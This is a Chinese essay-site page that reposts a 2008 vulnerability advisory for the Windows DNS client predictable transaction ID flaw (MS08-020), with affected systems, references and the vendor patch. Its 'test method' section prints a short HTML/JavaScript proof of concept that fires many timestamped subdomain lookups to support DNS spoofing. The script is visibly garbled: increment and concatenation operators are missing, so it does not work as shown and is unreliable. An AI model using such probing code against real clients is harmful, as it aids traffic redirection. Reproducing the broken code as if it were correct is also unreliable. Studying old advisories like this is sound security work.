首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 人生哲理 > 正文

    ID漏洞_Microsoft,Windows,DNS客户端可预测事件处理ID漏洞（MS08-020）

    时间：2020-02-19来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    受影响系统：

    Microsoft Windows XP SP2

    Microsoft Windows Vista

    Microsoft Windows Server 2003 SP2

    Microsoft Windows Server 2003 SP1

    Microsoft Windows 2000SP4

    描述：

    --------------------------------------------------------------------------------

    BUGTRAQ ID: 28553

    CVE(CAN) ID: CVE-2008-1085

    Microsoft Windows是微软发布的非常流行的操作系统。

    Windows DNS客户端服务在执行DNS查询时，随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的DNS请求返回恶意响应，欺骗或重新定向合法位置的Internet通讯。

    <*来源：Amit Klein （Amit.Klein@SanctumInc.com）

    链接：http://secunia.com/advisories/29696/

    http://marc.info/?l=bugtraq&m=120767868524748&w=2

    http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf

    http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true

    http://www.us-cert.gov/cas/techalerts/TA08-099A.html

    *>

    测试方法：

    --------------------------------------------------------------------------------

    警 告

    以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

    <html>

    <body>

    <script>

    var max_n=20;

    var n=0;

    var x=new Image();

    x.onerror=loadnext;

    x.onload=loadnext;

    function loadnext()

    {

    if (n<max_n)

    {

    n ;

    x.src="http://t-" (new Date()).getTime()

    "-" n ".domain.site/";

    }

    }

    loadnext();

    </script>

    </body>

    </html>

    建议：

    --------------------------------------------------------------------------------

    厂商补丁：

    Microsoft

    ---------

    Microsoft已经为此发布了一个安全公告（MS08-020）以及相应补丁:

    MS08-020：Vulnerability in DNS Client Could Allow Spoofing (945553)

    链接：http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true

    • ID漏洞_Microsoft,Windows,DNS客户端可预测事件处理ID漏洞（MS08-020） 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文ID漏洞_Microsoft,Windows,DNS客户端可预测事件处理ID漏洞（MS08-020）由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.